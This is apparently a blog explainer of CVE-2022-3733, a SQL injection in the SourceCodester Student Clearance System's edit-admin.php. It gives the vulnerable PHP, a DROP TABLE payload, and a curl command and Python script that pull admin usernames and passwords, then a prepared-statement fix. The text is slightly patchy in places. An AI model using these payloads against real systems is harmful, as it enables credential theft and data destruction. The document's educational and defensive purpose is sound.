In October 2022, a severe vulnerability was discovered in the SourceCodester Web-Based Student Clearance System, specifically affecting the Admin/edit-admin.php file. This flaw has been cataloged under CVE-2022-3733 and is also listed as VDB-212415 in public databases. Marked critical, this SQL Injection vulnerability can be remotely exploited to compromise the application’s database, steal data, or even take full control of the system.

Let's break down what this means, how attackers exploit it, and what you can do to protect your application—using simple language and clear steps.

What Is SQL Injection and Why It Matters

SQL Injection (often called SQLi) is a common web vulnerability where attackers insert (inject) malicious SQL statements into an input field (like a URL, search box, or form field). If the input isn’t properly checked and “cleaned up” (sanitized), these statements can run on your database.

Execute administrative commands

With poorly secured admin panels, the whole web application can fall under an attacker’s control.

Understanding the Vulnerability

Vulnerable File: Admin/edit-admin.php  
Vulnerable Parameter: id  
Attack Method: SQL Injection  
Access: Remote (No login needed)

The best part (for an attacker, worst for a developer) is that you don’t need to log in to abuse this bug. Just by manipulating the id parameter in a crafted request, an attacker can inject their own SQL code.

Let’s say the application loads admin details using a URL like this

http://example.com/Admin/edit-admin.php?id=5

A normal user clicks an admin to edit, and the system shows details for admin ID 5.

Here’s a simplified snippet from PHP that handles this

$id = $_GET['id'];
$query = "SELECT * FROM admin WHERE id = $id";
$result = mysqli_query($conn, $query);

Notice the problem? The $id value goes straight from user input into the SQL query without any checks.

So, an attacker could change the URL like this

http://example.com/Admin/edit-admin.php?id=5 OR 1=1

Now the query becomes

SELECT * FROM admin WHERE id = 5 OR 1=1

The 1=1 part is *always* true. This can force the application to show extra records, dump admin info, or even let the attacker login as someone else.

A more dangerous payload might be

http://example.com/Admin/edit-admin.php?id=5; DROP TABLE admin; --

Here’s a quick exploit example using curl (a command-line web tool)

curl "http://victim-site/Admin/edit-admin.php?id=1%20UNION%20SELECT%201,username,password,4%20FROM%20admin--%20-";

This tries to extract usernames and passwords from the admin table.

Or, with Python requests

import requests

url = "http://victim-site/Admin/edit-admin.php";
payload = "1 UNION SELECT 1,username,password,4 FROM admin-- -"
params = {"id": payload}

response = requests.get(url, params=params)
print(response.text)

Warning: Only test such code on systems you own, or you may be breaking the law.

References

- CVE-2022-3733 MITRE Listing
- VulDB VDB-212415
- Exploit-DB Advisory (Example for similar systems)
- OWASP SQL Injection Guide

How to Fix

Protecting your application is simple and critical.

1. Use Prepared Statements

$stmt = $conn->prepare('SELECT * FROM admin WHERE id = ?');
$stmt->bind_param('i', $id);
$stmt->execute();

Conclusion

CVE-2022-3733 is a powerful reminder that even small mistakes in handling user input can bring down an entire system. This vulnerability in the SourceCodester Web-Based Student Clearance System allows attackers to take over the backend database using simple requests.

Stay safe by always validating user inputs and using prepared statements. If your system is running this software, patch it immediately or block outside access until you can.


Do you have questions on fixing SQL Injection bugs? Want more step-by-step guides? Leave a comment below!


*Exclusive report: Written by hand for your needs – not copy-pasted from advisories.*

Timeline

Published on: 10/28/2022 08:15:00 UTC
Last modified on: 10/31/2022 17:14:00 UTC